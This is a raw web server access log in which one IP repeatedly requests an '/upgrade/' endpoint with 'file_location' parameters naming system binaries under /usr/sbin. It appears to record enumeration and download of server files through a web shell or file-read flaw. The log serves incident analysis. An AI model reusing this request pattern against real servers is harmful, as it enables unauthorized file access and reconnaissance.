45.135.193.11 - - [11/Sep/2026:23:06:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fbridge&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 97690 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fbridge&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe4defrag&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50382 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe4defrag&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fskdump&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43168 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fskdump&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmdadm&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 360786 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmdadm&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fstart-statd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37996 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fstart-statd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fswapon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52537 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fswapon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.ext4&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 200627 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.ext4&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fldconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 541269 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fldconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.gssd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 74993 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.gssd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_metadump&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37859 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_metadump&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmount.fuse&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42532 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmount.fuse&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frepquota&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 72654 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frepquota&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftelinit&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 163199 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftelinit&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fudevadm&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 244170 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fudevadm&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fwhmapi1&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 710678 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fwhmapi1&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:41 -0400] "GET /upgrade/?location=%2Fusr%2Fsbin%2F&option=folder HTTP/1.1" 200 37344 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fsbin%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_quota&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 78898 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_quota&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_repair&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 392977 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_repair&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdevlink&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 113337 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdevlink&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgenhomedircon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 47731 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgenhomedircon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-nft-restore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138250 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-nft-restore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_freeze&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37790 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_freeze&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fatd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48835 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fatd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdebugfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 135081 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdebugfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdelpart&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41675 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdelpart&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_admin&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38365 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_admin&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_ncheck&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37829 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_ncheck&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.ext3&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 97322 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.ext3&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frunq&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 862684 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frunq&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdovecot&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 93397 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdovecot&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgroupmems&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 59322 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgroupmems&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpcctl&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40262 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpcctl&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fusermod&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 90977 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fusermod&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:44 -0400] "GET /upgrade/?full_path=%2Fusr%2Fsbin&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37351 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Fsbin&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-checkds&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37875 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-checkds&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexigrep&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42754 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexigrep&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_bmap&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37653 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_bmap&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcreate-cracklib-dict&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37957 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcreate-cracklib-dict&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fether-wake&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 58426 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fether-wake&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-switch-to-blscfg&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40807 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-switch-to-blscfg&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fipset&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40755 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fipset&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flusermod&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44707 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flusermod&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmke2fs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 97341 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmke2fs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frndc&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52013 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frndc&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fservice&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 39138 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fservice&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 137947 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexicyclog&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41736 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexicyclog&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fzic&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 65416 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fzic&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fimunify-notifier&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 4322903 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fimunify-notifier&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhwclock&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 63013 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhwclock&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-nft-save&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138134 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-nft-save&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flgroupadd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41636 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flgroupadd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fswitch_root&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43416 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fswitch_root&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftipc&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 76995 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftipc&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhttpd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38161 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhttpd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpaperconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 39296 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpaperconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-nft-save&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138248 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-nft-save&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fifstat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 55735 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fifstat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fwipefs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 51015 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fwipefs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fauthconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43152 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fauthconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnsec3hash&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42343 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnsec3hash&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
